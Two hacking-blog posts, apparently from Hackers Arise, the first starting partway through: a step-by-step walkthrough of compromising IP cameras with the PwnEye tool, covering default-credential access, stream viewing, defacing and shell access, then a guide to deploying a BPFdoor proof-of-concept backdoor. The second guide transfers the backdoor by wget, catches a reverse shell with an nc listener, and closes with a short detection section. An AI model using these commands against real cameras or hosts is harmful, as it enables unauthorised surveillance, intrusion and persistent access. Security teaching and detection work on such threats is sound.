kali > sudo apt install ffmpegThen install pipx and grab the tool.
kali > sudo apt install pipx
kali > pipx install git+https://github.com/Hackerest/pwneye.gitOnce it’s ready, you can test it:
kali > pwneye -h The help menu’s large. The tool can be used to find cameras in a local network with –discover, but it can be pointed at any camera IP. That’s where we’ll start.
ONVIF is the protocol that lets cameras from different manufacturers talk to each other without buying the same product. It’s basically a standard, but it’s also an attack vector.
kali > pwneye -t IPIf the camera’s running default or weak credentials, you get access. The tool extracts everything after compromise. Below you can see the network config, MAC address, DNS entries and configured users. DNS entries may sometimes point to interesting internal servers.
Look at the configured user credentials in the output. You’ll use those to get a shell.
The tool also finds snapshots that the camera captures regularly. You can view them in the browser or wait for PwnEye to open the stream.
Some cameras support deface (black the screen), PTZ movement and factory reset through ONVIF. Not all. Depends on the model.
Finally, once it finishes, you get the stream.
Well, it’s just a bus station. Nothing fancy here.
If the camera supports it, you can deface it.
kali > pwneye -t IP --deface [MESSAGE]It’s not sophisticated, but it works.
That’s probably the most interesting part. Take the credentials from the user profile output and get a shell.
kali > pwneye -t IP -ou admin -op ‘’Once you’re in, run help and see what it has. Some cameras let you do more than others.
ONVIF compromise is worse than RTSP compromise, but RTSP often works when ONVIF doesn’t. The tool tries both by default, but you can skip ONVIF and go straight to RTSP if you want.
kali > pwneye -t IP -soThe tool has more than 450 credentials built in. You can also try common corporate passwords like Company123 or just Company.
Once it gets credentials, you get the stream.
Some IP cameras might be accessible from the internet and locally. That means compromising them also gives you a foothold on the internal network. They aren’t upgraded regularly and IoT devices in general lack proper software updates. There are dozens of known CVEs on most camera models. Cameras can be used to proxy through them, attack other hosts or maintain persistence.
There are many other attacks on cameras, and it would be a very long article to cover them here. That’s why we created our IP Camera Hacking Training. It’s now part of our Cybersecurity Starter Bundle II. With it you get Wi-Fi Hacking, Python Basics for Hackers, Remaining Anonymous and more.
The post Camera Hacking: Using PwnEye to Compromise IP Cameras first appeared on Hackers Arise.
Welcome back, aspiring cyberwarriors.
As you might know, not all dangerous threats are the loud ones. We often hear about ransomware campaigns that paralyze companies and demand money. Money is the key factor in these operations. If the victim pays once and gets their decryption key, there’s a chance they will pay a second time. That means the key must be delivered to the victim. Total destruction isn’t really the objective here. Things need to stay in a state where they can be fixed within a short period of time if the victim pays.
With state sponsored APTs, things are a bit different. Given the strategy China has right now in regards to the West, they’re trying to preposition themselves for a future conflict, so gaining as much access as possible is the current goal. Once things go south, all that compromised infrastructure starts crippling systems in a bid to cause as much damage as possible. That’s what happened before and during the first days of the Russian invasion of Ukraine and other countries, so there’s a good chance that’s what will happen during an active conflict with China.
An investigation by Rapid7 Labs found evidence of an advanced China nexus threat actor known as Red Menshen. This group has been placing stealthy digital sleeper cells inside telecommunications networks. These are long-term operations built for persistence and access to sensitive environments, including government infrastructure.
At the center of this activity is BPFdoor.
BPFdoor doesn’t behave like conventional malware. It doesn’t open a visible listening port or maintain a C2 channel. BPFdoor is a passive Linux backdoor that works at a very low level in the system. It uses the Berkeley Packet Filter (BPF), which is a feature inside the Linux kernel designed for packet filtering and analysis. Normally, BPF is used for legitimate purposes such as monitoring. In this case, it is being abused. The backdoor attaches itself to a raw network socket and inspects incoming traffic. It can actually see packets before firewall rules have a chance to process them. So even if your firewall is configured correctly, the backdoor can still see traffic that should have been blocked.
Most of the time, the backdoor does nothing. It remains completely dormant, which makes it difficult to detect through behavior. It just waits for a “magic packet”. That magic packet has a predefined pattern known only to the hacker. When it arrives, the backdoor wakes up and gives the hacker a reverse shell, so that he doesn’t expose the entry point.
For this article we will use a simplified PoC. It doesn’t include advanced features such as encryption, persistence or espionage modules. But it’s enough to show the core idea and that’s what matters for our learning. The original rootkit can be found here.
We begin by cloning the repository and modifying the trigger file. That’s the file responsible for sending the magic packet that activates the backdoor.
kali > git clone https://github.com/pjt3591oo/bpfdoor.git
kali > cd bpfdoor
kali > vim trigger.cInside trigger.c you need to specify two IP addresses. One is the target machine where the backdoor will run, and the other is your attacking machine. We used Kali for this.
You will notice a small detail in the code, a character ‘X’ placed before the IP address. It is a simple magic byte used by the PoC to identify valid trigger packets. It should not be removed, as it is part of the mechanism that wakes up the backdoor.
Once the file is ready, you compile both the trigger and the backdoor.
kali > gcc trigger.c -o trigger
kali > gcc bpfdoor -o bpfdoorpoc
kali > chmod +x triggerAfter compiling, we are ready to move to the target system.
To move further we need to transfer the backdoor. There are different methods available for it. You can use temp.sh or a simple HTTP server.
Pick whatever is best for you and download it.
kali > python3 -m http.server 9001
ubuntu > wget http://192.168.56.107:9001/bpfdoorpocOnce the file is downloaded, you make it executable and run it.
ubuntu > chmod +x bpfdoorpoc
ubuntu > ./bpfdoorpocAt this point, the rootkit appears to hang. This is expected behavior. The backdoor is now running in the background, waiting for the magic packet. You might see some output, but nothing really tells you what it’s doing.
Set up a listener on Kali to receive your reverse shell
kali > nc -lvnp <port>The trigger sends a packet that the backdoor recognizes.
In a separate terminal you execute the trigger:
kali > ./triggerThe trigger sends a packet that the backdoor recognizes.
The moment it detects the correct pattern, it activates and sends you back a reverse shell. If everything is correct, you will see a connection. It’s a working shell on the target system.
This is the core idea behind BPFdoor.
The backdoor has been known since around 2022, but only recently has it been observed being actively used in attacks against telecommunications infrastructure. To detect it we can use a script made by Rapid7.
ubuntu > wget https://github.com/rapid7/Rapid7-Labs/blob/main/BPFDoor/rapid7_detect_bpfdoor.sh
ubuntu > chmod +x rapid7_detect_bpfdoor.sh
ubuntu > bash rapid7_detect_bpfdoor.shThe script attempts to find suspicious processes that match the behavior of BPFdoor. In our case, it found the PoC process and reported its process ID. Even stealthy malware can leave traces. Detection comes down to understanding how the system is supposed to behave (baseline) and finding deviations from it.
BPFdoor is an advanced Linux backdoor with a different approach to persistence and remote access. It’s being used by the Chinese to access our sensitive data. The whole Chinese campaign is about prepositioning the country for future global conflicts, so they can gain the upper hand in the chaos of a cyberwar. Their backdoor hides within the normal operation of the kernel and waits for a specific trigger. That makes it really hard to spot.
Telecoms have always been a desirable target along with industrial control systems. In light of these attacks, we started training on Building Your Own Mobile 4G Base Station. You’ll get to learn not just how to build a station, but how hackers attack it and how you can defend it. The knowledge is truly unique and a lot of work has gone into making the training.
The post Compromising Telecom Systems: Deploying and Detecting the BPFDoor Backdoor first appeared on Hackers Arise.
